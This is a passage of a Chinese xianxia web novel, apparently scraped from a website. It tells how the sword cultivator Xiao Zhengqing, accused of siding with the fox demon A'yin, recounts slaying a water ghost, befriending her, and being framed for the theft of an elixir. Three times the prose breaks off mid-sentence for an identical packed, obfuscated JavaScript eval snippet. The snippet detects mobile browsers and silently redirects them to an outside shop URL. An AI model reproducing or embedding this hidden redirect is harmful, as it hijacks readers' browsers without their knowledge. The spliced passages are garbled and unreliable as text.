谁能想得到,公仪正卿竟然带着这只死狐狸回到了云灵山的地界,藏身在云华山中。 唯一让公仪岭感觉到疑惑的是,自己分明记得,当初自己和大哥受他所托,去查看这只狐妖的时候,发现她早就死在锁妖笼中,可如今,这只狐妖又怎么活过来了? 公仪正卿却在此时纠正道:“我早已离开云灵山,再不冠公仪氏,如今用的乃是本名,萧正卿。” 公仪岭回归了些神智,听到他这句话,声音也冷了下去:“我爹从来没将你逐出师门,你这样说话,可对得起他从前的教导之恩?” 面对公仪岭的诘问,萧正卿微不可查地握紧了拳头。 “师父的教导之恩,我没忘,也不会忘。”萧正卿一字一句道,“但对所有人来说,我跟狐妖勾结是板上钉钉的事情,即便师父不逐我,我也无法继续留在云灵山,还不如就此叛逃宗门,不再和云灵山有任何关系,免得影响师父清誉。” “正卿,你糊涂了吗?!” 公仪岚终于忍不住了,“唰”地的抬起剑,直指萧正卿的咽喉,斥道:“当年你的仙资出众,爹如何看重你,这些你都是知道的!你又何苦自毁前程,和这只妖物纠缠不清?” 萧正卿却道:“她于我而言,不是妖物。” 公仪岭本还想再劝上两句,让他迷途知返,老老实实跟他们回去认罪。听到这话,组织好的话语硬生生卡在喉咙里,脱口就是另外一句:“这妖狐到底给你灌了什么迷魂药,能让你为她作恶,还伤了那么多条人命?!” 公仪岚也摇头道:“她既当时救你一命,想办法好好还了便是,可你竟选择走了这邪门歪道,又杀了文耀叛逃宗门,就不要怪我们容不下你们。” 也不知是哪句话触到了萧正卿的逆鳞,他勃然色变,额头青筋暴起,怒喝道:“不,不是的!” 说着扬手就是几道狠厉术法攻向他们。公仪岭反应也是极快,堪堪避开,瞬间就认出这不是云灵山的法术,而是和狐妖同一个流派,至于具体是哪个,公仪岭也说不上来。 想必,那狐妖的法术,应该也是他教导的。 而公仪岚的注意力却完全不在这上面,在旋身闪避后,却是眉目一紧:“你为何不使剑了?” 萧正卿的剑术,哪怕在云灵山中,也是造诣极深的,就算他作恶一方,也该用剑才方便些,何必用那些法术?公仪岚清清楚楚地记得,师弟们给他的册子里,压根没写死去的百姓身上有剑伤的痕迹。 此言一出,萧正卿与他们斗法的身形也似乎凝滞了片刻,而公仪岭也趁着这个间隙,飞快地又燃了一张符纸,幽幽地照亮了面前人影。 这下,两个人也看得更加清楚了。 萧正卿的腰间,分明还佩着那一把剑,只是不知为何,公仪岭从交手之时开始,就没有察觉到这把剑身上散发出来的任何灵气。 就好像,一把死剑…… 这个念头在他的脑海中一闪而过,公仪岭意识到了什么,再抬眸之时,眼中已满是震惊。 没等他震惊多久,耳畔忽有劲风飞过,下一秒,公仪岭就看见彻云剑干脆利落地击落了他那佩剑的剑鞘,随之而滑出的,还有散落一地的剑身。 刹那间,空气都凝固了,整个潭水洞中的气氛降到了冰点。 从前灵气缭绕的一把极品仙剑,如今就像块废铜烂铁,如残竹一样断成几截。 “断剑?” 公仪岭愣愣地望着这柄剑许久,努力想找出证据,来证明这不会是萧正卿从前的那把灵剑。 可是,他们两个人都分明看见了剑柄处的那块白玉雕花祥云纹,是公仪拓当年亲手雕上,赠与萧正卿的,普天之下,也不可能有第二把了。 萧正卿脸上痛楚一闪而过,一言不发地俯身半跪在地,小心翼翼地将剑身收进了剑鞘中。 公仪岚目光紧随着他的动作,沉声道:“这到底是怎么一回事?” 他们剑修之人,视剑如命,怎会如此对待自己的随身佩剑! 萧正卿头都没抬,冷冷道:“事情根本不是你们所想的那样。” “我比任何人都希望事情的真相不是那样。” 公仪岚举着剑的手缓缓放下:“当日三化殿上,你偷了丹药证据确凿。我们认识这么多年,你否认的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429873|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我信你。可你如今却当真应了文耀的话,与这狐妖狼狈为奸,你叫我如何再相信你?” 公仪岭想起他以前常吃自己做的醋鱼毫无怨言,也道:“我当时也是相信你的。” 萧正卿缓缓摇了摇头:“我并没有偷抱元门的丹药。是文耀,他构陷于我。” 他缓缓合上眼,脑中浮现出那些画面,甚至都不需要如何组织语言,因为每一刻都历历在目。 三年前,尧都城。 每隔两三年,云灵山的弟子都至少会被派下山历练一次,在各处游历,斩妖除魔。至于他们究竟是几人一组,公仪拓并没有约束,不过,一般也都是修为高的带着资历浅的,一同历练。 而这一次,公仪正卿和公仪文耀算是一组,两个人还分别带上了另外两个小师弟,四个人一路向北,沿途杀了不少妖邪后,途径了尧都城,就打算歇上几日。 尧都城也算得上是一座大城,在公仪正卿没来以前,就听说尧都城内有一个广阔无际的大湖,名叫瀛湖,只是未曾亲眼见过。 按理来说,这样有名的湖,换做别的地方,肯定少不了过去围观凑热闹的百姓,可谁知,四人一来到此地,却发现瀛湖附近可谓人迹罕至。白天或许还能瞧见一两个路过的人,可一到晚上,那湖边便完全空无一人了。 他们心生好奇,随便打听了一下,正好在城内一间茶楼,听见说书人说到此事。 原来,尧都城一直以来有一个传闻,每逢清明前后,瀛湖中水神娶亲,一到子时,湖中就会传来年轻女子的幽幽哭声,只有择一名适龄女子,由一艘乌篷船带着前往湖中心,才能暂且保住一方太平。 公仪正卿听完这个传说,皱眉道:“荒谬!为了一时太平,竟让那么多无辜的女子当替死鬼,这样的太平,他们难道也能心安理得地受着?” 公仪文耀见他发怒,连忙劝阻了两句:“正卿兄,这里毕竟是别人的地界,还是低调些,少说两句。” 何况,不管公仪正卿如何愤懑,这样的太平,反正大家是受着了,还受得心安理得,谁也不会在意被选中女子的亲人,该是何等悲痛。即便他这样义愤填膺,也改变不了那些已经被推入河中那些女子的命运了。 只是,劝阻归劝阻,公仪正卿声音不小,刚才说的话,还是被茶楼内的人听到了。说书人被打断,茶客们也都齐齐回过头看向他们四人,每个人的面上,脸色都极为难看。 毫不意外地,他们四人宛如过街老鼠一样被赶出了茶楼,还得到了一句:“站着说话不腰疼,有本事你们去解决了此事,救一救那些姑娘们的性命啊?!” “什么水神娶亲,我看,肯定是妖孽搞的鬼。” 正是意气风发的年纪,公仪正卿就这样被赶出来,自然是不服气的,得出了如此结论后,当即询问其他人要不要一同前去。 其余三人没那么多的想法,赶了这么久的路,也都累了,眼下只想好好休整几日,就算真要去找妖孽算账,也得等他们休息好了再说。 但公仪正卿却担心再拖延几日,万一又多了几个女子受害,他没办法袖手旁观,于是没跟三人打声招呼,当夜就单枪匹马,只身去了瀛湖。 6. 日落鬼现世 历练除狐祸(六) 夜间的瀛湖阴风阵阵,整个湖面上都隐隐能看到腾起的淡淡黑气。如他所料,这根本不是什么“水神娶亲”,而是湖中水鬼在兴风作浪。 想要逼出水鬼,必然得先找到他的藏身之处。 公仪正卿没有犹豫,当即以灵力灌注剑身,整个人悬停在半空中,汇聚全力,竟是一剑劈开了半面瀛湖。 以他现在的能耐,想要搅合地这水面不宁,算不得什么难事。这一剑劈出,顷刻间,瀛湖湖水翻江倒浪,那扑面而来的浪潮,竟然有十几丈高。看这势头,竟是马上就要倒灌到尧都城中。 公仪正卿面色一沉。 他出手向来有分寸,仅仅只是劈出这一剑,是绝不可能做到湖水倒灌程度的,如此一来,他也能肯定,这水下的东西,定然是已经被自己惊扰,想要出手教训自己了。 只是,他却不能眼看着湖水倒灌,将尧都城给淹没,这样的话,他的这番冒险举动,不光帮不到百姓,反倒还帮了倒忙,白白又害了满城性命。 如此一想,公仪正卿只得重新施法,在瀛湖旁边设下结界,再以一己之身抵挡住那十几丈高的浪潮,硬生生将湖水给逼了回去。 然而,这样一来,他还没跟这水鬼打上照面,就已经白白被它消耗了一些力气。 公仪正卿终于摆平了这些浪潮,想要重新在湖中找寻水鬼的踪迹,哪成想,这湖面上忽然又是一阵妖风大起,水中瞬间多出来了两三个巨大的漩涡。他一时不备,险些被吸进去,好不容易在半空中稳住了身形,眼前却猛然冲出两条巨大的水龙。 他修习这么久,也从未见到过这样的景象,一时间蒙了,手中用来应对的剑招完全是下意识的动作,而面前的两个水龙张着大口,眼看着就要将他叼中拖入水中。 可公仪正卿不是能轻易拿捏之辈,回神以后,还是在半空中稍稍调整了自己的身形,让那两只龙头擦着自己的身子冲出,总算是暂时脱了险。 想要维持这样大的水龙,定然是得耗费不少妖力的,故而它们并没有维系多少时间,就在空中被公仪正卿斩裂开来,化作了一场倾盆大雨,稀里哗啦地落入湖面。 也正是因此,公仪正卿彻底激怒了那只水鬼,令它在湖面上显形。 出乎公仪正卿的意料,这只水鬼,竟然是个女子模样。一身白衣,湿发贴面,眼珠子和皮肤都是惨白一片,她见到公仪正卿后,出手就和他斗了起来。 这一战,打得天昏地暗。 公仪正卿设下的结界将一切隔绝,结界外肉眼凡胎,自是看不见结界内的景象,城中百姓只当是天气骤变飞沙走石,一个个都胆战心惊地躲回了屋子里,默默在心里求上仙保佑,好让这恐怖的天象赶紧过去。 他们打得动静如此之大,自然也惊动了公仪文耀三人,三人赶到瀛湖边一看,看见的便是一人一鬼正激烈斗法,打得地动山摇。 三人在结界外面,想尽办法也没能破开结界进去帮忙,又忌惮于那汹涌的湖水倾泻,水淹城池,只能干等着公仪正卿打完出来。 足足打了一日一夜,最后,那女水鬼终于败下阵来,死在了公仪正卿的剑下。 公仪正卿抵御水患的时候就耗了灵力,此后,在她身上也没讨到多少便宜,虽然一剑斩杀了她,却也身负重伤,半身衣裳上全染上了血迹。 水鬼已死,但是不知为何,整个瀛湖却还是没有完全平静下来,公仪正卿以为是这水鬼怨气太大的缘故。为了城民的安全,没有立刻撤下结界,而是自己先行找了个靠近瀛湖的破庙,打算养好伤后,再撤下结界和师弟们汇合。 他完全没预料到,自己刚入了观音庙不久后,便重伤昏迷过去。 等他再度醒来的时候,就看见一只野狐狸正卖力地舔他的伤口。 公仪正卿浑身僵硬了一下,第一反应猛然蹬了下腿,将狐狸踹飞了出去。 这一踹,狐狸痛得嘤嘤直叫,落地的时候竟变成了女身,看着也不过是十五六岁的少女模样。 狐狸在地上滚了几圈,身上沾了尘土,指着他气愤道:“你这人,恩将仇报!我好心救你,你醒了二话不说先踹我一脚!” “……你救了我?” 公仪正卿这才看到方才她舔过的伤口上敷了一层厚厚的草药,正是这草药替他止住了血,没让他失血过多而亡。 他顿感十分惭愧,连连道歉。 狐狸见他道歉地诚恳,哼笑了一声,没再计较。顺势走到他身旁,水光潋滟的双眸直视着他,抬手就勾起了他的下巴:“小模样长得还挺俊,这次本姑娘吃饱了心情好,就不跟你计较了。” 公仪正卿从未被人这样轻佻对待过,整个人不知所措起来,连手都不知道该放在哪里,甚至完全忘了应该先把她的手给拿下来。 良久,他讷讷问道:“你叫什么名字?” 狐狸抚摸着他的脸颊,扬起笑脸:“我刚成人不久,没有名字,要不然,你给我取一个?” 公仪正卿认真地想了想,道:“此地是观音庙,我便叫你阿音,如何?” 她微微偏头,将这两个字念了两遍,表情看着很是满意,随即应下:“听着不错,那我以后就叫阿音了。” 就这样,他与阿音在观音庙内相处了几日。 在这期间,公仪正卿才知道,原来她就暂且住在这座庙中,每日依靠百姓的贡品填饱肚子,那一日,她刚吃完饭,就看见庙里倒了个人,弄得满地都是血,就去采了点草药救了救他。 好在,她是有点修为的狐狸,想要治好他不是难事,才让公仪正卿只昏迷了半日就清醒过来。 听她说只靠贡品度日,公仪正卿有些于心不忍:“你既然是只有能化成人形的狐狸,干什么不像寻常人一样做点买卖度日?至少这样,能混口饭吃。” 阿音摇头,泫然欲泣:“想当寻常人,哪有那么容易?我不过是一只修为极低的小妖,走在街上都会被道士给盯上,好不容易想办法躲到了这里,才安稳了一段时间。” 公仪正卿一想,也是这个道理,那些道士不会来观音庙里,此地又有贡品吃,对阿音来说,是个不错的去处。 不过,一想到这么久以来,她只能吃果子糕点,想必日子不是那么好过。公仪正卿在此处养伤几日,都还没跟师弟们打招呼,想必他们找不到人该急疯了,于是沉吟片刻后,抬手在空气中划拉了几道流光符文。 阿音从没见过这东西,好奇地凑了过来,问道:“这是什么?” 公仪正卿凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429874|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着在面前消散的流光,与她解释道:“我给我的师弟传了口令,告诉了他我身在何处,让他顺路带几只烤鸡来给你吃。” “烤鸡!” 阿音的眼睛睁地极大,脸上的喜悦根本藏不住,直接朝着公仪正卿贴了上去,蹭了蹭他的面颊。 “……” 公仪正卿凝滞了好一会儿,才极不自然地缓缓别过了脸,闷声道:“以后,可不能这样了。” “好嘛。”阿音嘴上应了,在那之后,却还是喜欢在听他讲话的时候调戏他。 故而,等公仪文耀来的时候,看见的便是阿音白皙细嫩的手搭在公仪正卿的肩头,眉目含情,欲语还休的模样。 自从上次阿音说自己被道士追杀后,公仪正卿就想办法施法掩盖住了她身上的妖气,免得叫人伤了她。 可这样的法术,也只能够遮一遮凡人的眼,对于公仪文耀这样修为高的弟子来说,压根起不到作用。 “狐妖?” 公仪文耀一眼就认出来了她的真身,只当她是个妖物,灵剑出鞘就要拿下此妖女,他的剑还没沾上阿音的衣摆,就听“铮”地一声,是公仪正卿挥剑把他拦了下来,一侧身将阿音护在身后。 两剑交错,迸出白光。 “正卿师兄?你这是做什么!”公仪文耀震惊道。 公仪正卿忍着伤痛,咬牙道:“她救了我,你别伤她。” 公仪文耀侧头对身旁弟子道:“朝烨!还愣着做什么?快帮忙制住他!” 旁边两位弟子还没反应过来,这边两个师兄都已经兵刃相见了,左右为难之下,也只好硬着头皮听公仪文耀的话,把公仪正卿拦下,随后硬生生把两个人给拉开了。 公仪文耀厉声道:“可她是狐妖,谁知她有没有害过城中百姓性命?” “我没有!” 阿音缩在公仪正卿身后,鼓足勇气大声反驳道。 公仪正卿也道:“文耀,她的确没害过人。阿音修为不高,为了活下去才躲进观音庙中,每日靠吃贡品填饱肚子。她既然救我一命,我断然不能恩将仇报,反倒害了她的性命。” 一番解释后,公仪文耀才半信半疑地收起了自己的剑。 尧都城的水鬼既除,他们四人这趟历练也算功德圆满。原本公仪文耀找到他以后就打算一同回云灵山,无奈公仪正卿伤得严重,只好陪他又在观音庙内多留了几日,至于那两位小师弟,则是先行回了云灵山复命。 留在观音庙后的第三日夜里,公仪文耀生着火堆,对他道:“最多五日,不管怎么样,我们也该走了。” 公仪正卿自知仙考在即,两人不可在这观音庙久留,点头应允了。 五日后,公仪正卿的伤势渐好。 临行前,阿音正化成原形,窝在两人捡来破棉被草率搭的窝内睡觉,两人难得默契地没有当面与阿音告别,就打算这样悄无声息地离开。 公仪正卿望了她很久,最后还是蹲下摸了摸她毛茸茸的头,低声说道:“阿音,我们要走了,你多保重。” 她无知无觉地翻了个肚皮,睡得很死。 公仪文耀垂眸看了阿音一眼,默默把早市刚买的两只烤鸡放在贡桌上,对他平静道:“我们走吧。” 7. 沉冤犹未雪 失约残灵剑(一) 回到云灵山后,他本以为应该再也见不到阿音,却没想到三个月后,某一日他下山,在山脚下看见了一只灰扑扑的狐狸,模样看起来狼狈不堪。 公仪正卿越看,越觉得这只狐狸很是眼熟,犹豫了一下后,还是不确定地叫了一声:“阿音?” 那只狐狸立刻回应了他,一晃身化成人形。 她身上的衣服全都被火烧成了破布,脸上和手上也满是灰尘和泥土,满身伤痕累累,看起来没比乞丐好到哪里去。 公仪正卿见状,声音都染上了寒气:“我不在的这些日子,尧都城到底发生了什么事情,你怎么会变成这样?” 阿音低头不语,过了一会儿竟然低声抽泣起来。公仪正卿瞧着她的样子,没来由地感到心疼,不由自主地抚了抚她的头,聊以安慰。 “你们走了没多久,观音庙就起了一场无名大火,大家救火的时候,那道士认出了藏在庙里的我,对我喊打喊杀。我逃出观音庙后无处可去,只记得你说过你是云灵山的人,所以我就来了云灵山下。” “竟有这样的事情。” 公仪正卿没想到在他走后会发生这样的事情,气愤过后,却是深深无奈。 他现在身为云灵山的弟子,若是一只小小灵狐也就罢了,无奈阿音是一只有修为的、能化作人形的狐妖,公仪拓便是再看重他,也不可能同意他带一只狐妖上山。 何况,云灵山设有结界,妖物是根本上不去的。 果然,他听阿音泣声道:“云灵山上仙气缭绕,我上不去,就在山脚下等了你数日。” 公仪正卿不常下山,这次下山是因为岭师兄的鱼竿被宗主折断,还被关了禁闭。公仪正卿受了他的嘱托,这才下山一趟,要替他买新鱼竿回来。 阿音既然来找他了,公仪正卿也不能坐视不理。只是他想了许久也没能想到该如何安置她,便只能先让她跟着自己进城了。 思来想去,她一个姑娘,穿这身破衣服也不是个办法,总得换身新的。公仪正卿摸了摸钱袋子,买完鱼竿后,又顺道带着她去城中买了几身新衣服,在酒楼内给她点了烤鸡。 “你慢些吃,我不跟你抢……这些时日,你都没吃多少吗?” 她抹了抹嘴角的油渍:“山下的贡桌有仙气,我靠近不得,但山中的那些野果,能勉强充饥。” 公仪正卿想了想,道:“云灵山上的膳房我不方便进出,不过我二师兄常将钓上来的鱼做成醋鱼分给我们吃,我可以带下来给你。” 听到有鱼吃,阿音的眼睛亮了亮,连忙点头:“那我每日就在山脚下的树林等你。” 连着一个月,公仪正卿都趁没人的时候,悄悄将吃食带了下去。直到仙考大会到来,他才不得不告诉阿音,自己将去抱元门一段时间,恐怕得委屈她吃几日野果了。 没过多久,公仪正卿和师兄弟们动身前往了抱元门,参加仙考大会。 每年仙考魁首都会得到抱元门炼的一枚仙丹,这仙丹极为难得,每一枚都是抱元门的三位长老千百次试炼出来的极品。 奖品之事,不是什么秘密,早就传遍了各大宗门,多得是仙友挤破头地想争得此物。 一开始,公仪正卿对这丹药没有那么感兴趣,却在听说这丹药还有能解百毒、医治百伤、脱胎换骨之效后,想起阿音满身的伤痕,对此动了心思,也想着争上一争。 礼、乐考完,一日后就是射艺考试。 依照仙考规则,射艺共分为三个环节,分别是步射、骑射和围猎。 公仪正卿心知步射与骑射恐怕难以与其他佼佼者分出高下,真正能够拉开差距的,必然是围猎一项。 所有的弓都是抱元门统一准备的,拿到手后公仪正卿在演武场试了一下手感,全部命中靶子正心,自觉手感不错,就听旁边公仪岚笑问道:“从没见你这般志在必得的模样,看样子是信心满满,也打算争一争榜首了?” 他也笑道:“那奖品于我有用,我自然也想试一试了。” 公仪岚心下诧异。在他的印象里,公仪正卿从来都不怎么在意这些身外之物,这次竟也对丹药起了兴趣,很是难得。 承悦遗憾道:“旁的不说,这次的仙丹听起来确实不错,只可惜各家人才辈出,我看我是没机会拿了,正卿和岚兄,倒是能试一试。” 公仪文耀也道:“每年其他宗门的稍微厉害些的,也只有抱元门和紫阳宗的几位,说不定正卿师兄当真有机会呢!” “那可不好说。”公仪岭目光飘忽,远远指了个方向,“其他宗门的弟子先不提,你们瞧紫阳宗的那两位,可都不是什么平庸之辈。” 几人顺着公仪岭所指的方向看去,遥遥瞧见了几十米开外的两人。 个子高些的,是个二十岁左右的青年男子,发间挽着一条飘逸的束带,剑眉凤目,薄唇上扬,正微眯了一只眼,弯弓搭箭,瞄着百步之外的那个箭靶。 而站在他旁边的,却是一位肤白胜雪,身着紫衣、头戴青玉簪的女子。 要说这女子的长相,也能称得上一句眉似柳叶、目若秋水,光看这张脸,常人定然会想当然地以为这是个温婉女子,可若是再细看一番,就会发现这女子的气质竟无端端显出几分凌厉之色。 她静静地站在那男子身旁,看着他试箭。 “咻——” 羽箭脱手,破空飞去,刹那间便击穿了那百步之外的箭靶,正中红心。 这女子不知对他低声说了什么,随后轻轻鼓了鼓掌。 燕煦泽、燕蓉。 云灵山的诸位不约而同地在心中默念了一遍这两人的名字,眼中流露出来的,都是钦佩之意。 论实力,这两位中,那青年男子是要高出些许的,但众人心里都清楚,要论名气,那女子可谓是甩了他几百条街都不止。 毕竟,修为高深的人不在少数,可紫阳宗真正管事的人,却只有燕蓉一个,说是紫阳宗宗主的二把手也不为过。 据可靠传言,某日燕蓉难得下山历练一次,才走了没一日,紫阳宗上上下下便跟瘫痪了一样,无人调配人手,宗主迫不得已,一封加急传书,又给人召了回来,这才稳住局面。 云灵山几人看着这两人各自出神,谁也不知他们在想些什么,只有公仪岭二话不说直接过去打了声招呼,跟友人聊了起来,前五句话还在聊仙考,十句以后就已经不知道把话题扯到天南海北哪一边了。 想要将这两人比下去,的确极难。 公仪正卿默默想着,低下头用力握了握手中的弓。 一炷香的时辰后,射艺考试开始。 步考规则极为简单。百步之外设有木框,木框之中悬了一根极细的线,线上吊了一块铜钱。每人十支箭,站在百步外,蒙着眼射那铜钱,若是射出的箭能穿过铜钱中心的孔就算射中,射中九箭及以上者即为优,五到八箭即为良,五箭以下的,便没有比试后两场的资格。 公仪正卿在云灵山的时候也常常与他们几人一同练习,彼此之间如何水平心中有数。 轮到公仪正卿的时候,他眼眸微眯,看好铜钱位置后,便用仙侍递过来的布条蒙住眼睛,执弓上箭,连发十箭。 中! 他摘下布条一看,那十箭全部正中铜钱中心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429875|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>仙侍朗声说道:“公仪正卿,全中为优。” 步射很快结束,结果也与他预估的基本一致,公仪岚与公仪岭亦是十箭全中,公仪承悦中九箭,公仪文耀则稍逊一筹,射中了八箭。 而云灵山中,最终进入围猎的,也便是他们五人。 仙侍将手中的锣鼓击响,围猎正式开始。 此地围猎的地点,选的是抱元门附近的一座山中,几人进山一商量,就打算分头行动。 奈何这一次,公仪正卿运气没那么好,所选的这条路野物数量不太多,一路上只打了几只野鸡和鸟雀,无奈之下,打算驱马往丛林深处走。 过了半个多时辰,公仪正卿才看见几只野鹿。那几只野鹿出来觅食,正低头啃食着草地,没有发觉身后的动静。公仪正卿远远地就停下脚步,摸出身后的弓,屏息凝神,片刻后羽箭离弦。 只听一声惊声鹿鸣,其他鹿四散而逃。 他望着倒在地上的那只被一箭封喉的鹿,收起弓箭,翻身下马,把它捡了回来。 刚将鹿拖到马背上用绳子栓好,公仪正卿忽而听到远处的呼救声:“救命——!!!” 抱元门早已将山四面设下仙障,如今山中除了他们这些围猎的人,再无旁人,他当即意识到,定然是参加围猎的人出了事情。 既同是仙僚,必须得过去救上一救。公仪正卿顾不得多想,驱马往那边赶去。 越往声源方向走,他越觉得声音耳熟,这喊救命的声音,竟然听着极像自家二师兄的声音。 跑过去一看,果然是公仪岭。 至于他口中乱七八糟喊的那些救命,光看他这闲散的模样,公仪正卿可完全没看出来这人是需要“被救”的样子。 公仪正卿顿时无言:“……二师兄,你平安无事的,喊救命做什么?……也别换一个姿势躺着,就算这样你看起来也很安全啊!” 这也不行那也不行,公仪岭干脆起了身,蹲在半截树干上,嘴里还吭哧吭哧地啃着地上捡的野果,从容道:“哦,不小心被困住了。” 闻言,公仪正卿环顾了四周,很快注意到脚下的土地被划了许多深深浅浅的痕迹,才发现公仪岭被封在了一个阵法里面。 公仪正卿诧异了,什么阵法能困住他这位师兄?莫不是捡野果吃的时候上了套吧! “师兄,你是怎么进到这阵法里面的?”公仪正卿疑惑,说着指尖就要触碰上那阵法结界。 公仪岭急了,连嘴里的果皮都来不及吐出来,匆匆呸了两声,忙道:“别!” 可已经来不及了,眼前白光一闪,等公仪正卿反应过来,自己也落进这阵法里了。 “怎么回事?!” 公仪岭叹气:“不知道抱元门谁在这里设的阵法,我不过路过此地觉得饿了,想捡点野果吃,就踩到了阵法,我想这阵法也许是他们为了捕猎物才设的,看起来只能在外面破解,里面的人出不去。” 公仪正卿不死心试了几下,发现果然跟公仪岭说的一样,不管怎么破阵都出不去,顿时也急了。 “围猎本就是考射艺,设阵法是个怎么回事?这还不算违了规则?” 公仪岭挠头想了想,指着地上的果核分析道:“这样更像是往笼子里撒点吃食勾引鸟来,等它们靠近后,就被笼子框住了,自然是能被允许的。” “那现在怎么办?” “等着呗,要么等抱元门几个人来解开,要么就等结束后他们找回来。”公仪岭说着又用手撑着脑袋躺下了,“本来我还觉得一个人被困在这有些无聊,才想急着出去,既然师弟你来跟我做个伴,我就不急了。” 8. 沉冤犹未雪 失约残灵剑(二) 公仪正卿起初还抱着一丝期望,想来个人尽快把他们救出去,然而随着时间一分一秒地流逝,这附近都没出现过人影,一颗心也渐渐沉了下去。 好在,两个大活人不见了的事情还是很快被众人知晓,围考结束后过了半个时辰,公仪岚终于带来了几个抱元门的人,将他们俩救了出去。 只是这么一来,公仪正卿射艺这一门的成绩,就从遥遥领先变成惨不忍睹了。 饶是公仪正卿再不甘心,也必须认清一个事实:这一回,他恐怕是无缘仙考榜首的位置了。 但是,即便无缘榜首,他也不能就此消沉下去,若是只因这一门成绩就轻易放弃的话,他这么久的努力也就白费了,更对不起的,是师父的悉心教导。 收拾好一番心情后,公仪正卿依旧如往常那样,认真准备下一门的仙考内容。 次日夜间,公仪正卿正在翻阅古籍,为书艺考试准备,忽而窗户被人“笃笃”地敲了两声,他从桌案边起身,打开窗子往外张望,外面院子里却空无一人。正想重新合上窗子继续看书,低头就在窗沿上看到了几根散落的狐毛。 公仪正卿微微一愣,立刻认出了这是阿音身上的,随即翻出窗子,轻声在院里喊了声:“阿音?是你吗?” 叫了两声之后,不远处的树丛里钻出了一只狐狸,四目相对后互相认出彼此。阿音很快变出女身,一双手紧紧握着他的双臂,眉目间尽是焦急之色,上下左右细细查看了他有没有受伤:“我听说你出了事,这才赶了过来。” 公仪正卿抚了抚她的头发,摇头道:“我没出什么事情,不过是围猎的时候被困在阵法里一段时间,并没有受伤。” 阿音仍是不放心,又狐疑地绕着他走了好几圈,直到完全确认他身上没有伤痕后,这才松了口气:“你没事就好。” 公仪正卿却满脸担忧地看着她。抱元门内人多眼杂,若是被人发现她在这,定然是不会放过的,虽说久别重逢,他也不忍心让阿音这么远跑过来后,就这样回去,但是现在想要护住她,却也只能想办法让她离开此地。 在此之前,他也还得确认一件事情。 公仪正卿拉着她往树林深处走,直到走到了一处看起来安全的地方,才问道:“是谁告诉你我出事了的?” 这回他被困在阵法中本就疑点重重,像是有人要暗中害他故意做出的局。刚结束围猎,阿音就得知了这件事情跑过来,实在很难让他不怀疑。 阿音头摇得像拨浪鼓:“没有人告诉我。昨日看你们射艺考试的时候,听见有个人喊了声你的名字,说你不见了。我看见有许多人进去找你,以为你出了事,急得不行。晚上好不容易找到了机会,才能避开人上来看看你。 “那你又是如何进来的?想从云灵山到此处,起码也得花上七八日的时间吧。” “你们离开云灵山后,我在山中呆了两日觉得无趣,就悄悄跟着你们过来。仙考这几日,他们打开了原先的结界,很容易就溜进来了。” 公仪正卿思索片刻后,抬手掩去了她身上的气息:“阿音,你先走。这里不能久留,要是被他们发现,就麻烦了。” 阿音清楚这一点,原本她就是上来确认一番他的安危,知道他无事后,也就安心了。她小声道:“那你多加小心,我先走了。”说完,又化成了狐形,消失在了黑暗中。 第二日,原是书艺考试。 然而在公仪正卿起了个大早收拾书本打算去殿内考试的时候,却听到门口的小仙僚正在交头接耳。 “听说了吗?这次仙考大会的一品仙丹被盗了!” “什么!竟有此事?” “可不是,一大早发现的,这会儿几位长老估计正在大殿一个个追责呢!” 公仪正卿忙问道:“这位兄弟,发生什么事情了?” 那小仙僚看了他一眼,热心道:“你还不知道呢?仙考大会的奖品丹药昨天晚上被盗了!” “那长老们可有说书考改在何处?” 仙僚道:“还考什么呀?我看定然是延期了。你要是想问,这会儿就该去三化殿问问。” 公仪正卿道了声谢,动身前往三化殿去。 抱元门本就是仙门各家之中最负盛名的门派之一,那三化殿更是修得雕梁画栋,就连殿前的九级台阶都是由玉石雕刻而成,华贵无双。 公仪正卿刚到三化殿门口,没想到殿内殿外已经聚起了不少人,外面的人一个个都努力探着头往里看。 公仪正卿身处人群的最外圈,想往里看,却看不见什么东西。就在此时,在他前面的那一圈人中,不知道是谁小声喊了一声:“哎,你们看,是公仪正卿!” 他立刻就察觉到周围投来的异样眼光,甚至还有几个其他宗门的门生正对着他窃窃私语。 “真没想到,看着温文尔雅的,竟干出这种事情!” “小声些,可别被他听到了,长老们正在商议此事呢。” “呸!他做出这般下贱之事,难不成还不好意思让人说了? 公仪正卿眼皮一跳,转身冷冷地看向那几个门生。后者也毫不畏惧,还给他一个鄙夷的眼神。 两两僵持中,忽然内殿里一位抱元门的仙侍快步走了过来,语气疏离又客套:“这位仙友,长老有请。” 直觉告诉他,定然是出了什么问题。但他自认完全没做什么错事,没必要因为旁人的几句非议而心虚。 